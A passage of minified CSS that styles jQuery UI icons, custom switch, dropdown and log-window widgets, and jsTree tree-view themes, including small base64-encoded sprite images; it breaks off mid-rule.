.ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_6da8d5_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px -64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:5px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:5px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:5px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:5px}.ui-widget-overlay{background:#aaa;opacity:.3;filter:Alpha(Opacity=30)}.ui-widget-shadow{-webkit-box-shadow:-8px -8px 8px #aaa}.hourglass{background:url(assets/jqueryui/redmond/images/hourglass-dark-blue.gif)}.icon{vertical-align:middle!important;margin-top:-0.25em!important;margin-right:0.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png)!important}.progress-val{position:absolute;font-weight:700;color:#ecf3f9;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0 0}.header-label{font-size:10pt;white-space:pre}.header-label.off{color:#f68923;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.header-label.on{color:#ecf3f9;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label.off{color:#f68923;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.switch-button-label.on{color:#ecf3f9;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.switch-button-background{float:left;position:relative;background:#d8e7f3;border:2px solid #4297d7;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;background:#5c9ccc url(assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png) 50% 50% repeat-x;border:1px solid #4297d7}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.intro-framed-textbox{border:1px solid rgb(92,156,204);-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em 5em;padding:.2em .2em .2em .2em}.log-info{font-size:14px;font-weight:700;color:#000!important}.log-warning{font-size:14px;font-weight:700;color:#ff9900!important}.log-error{font-size:14px;font-weight:700;color:#cc0000!important}.log-debug{font-size:14px;font-weight:700;color:#003366!important}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;border:1px solid #a6c9e2;background:#fcfdfd url(assets/jqueryui/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png) 50% bottom repeat-x;color:#036;min-width:350px;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#000}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em 0}.logoptions{-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:1px solid #4297d7;font-size:12px;text-align:center;font-weight:700}.btlogoptions{border:1px solid #4297d7;font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #4297d7;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #4297d7;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #4297d7;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0 0 0 0;margin:0 0 0 0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px 2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px 10px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 10px 0 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 0 0 0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%}.txt-log{padding:0 5px 0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px 25px;padding:10px 20px 10px 20px;-webkit-border-radius:6px;border:0}.preloader{background:#aaa;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:black;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em 0 2em;text-decoration:none;width:auto;color:black;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 white;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:white;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:white;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:white;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px 0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow 0.15s}.jstree-default .jstree-hovered{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-context{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#beebff;-webkit- border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #999;box-shadow:inset 0 0 1px #999}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#8b0000;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#e7f4f9}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#e7f4f9}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default .jstree-wholerow-clicked{background:#beebff;background:-webkit-linear-gradient(top,#beebff 0%,#a8e4ff 100%);background:linear-gradient(to bottom,#beebff 0%,#a8e4ff 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/redmond/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/redmond/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/redmond/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/redmond/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/redmond/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/redmond/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small 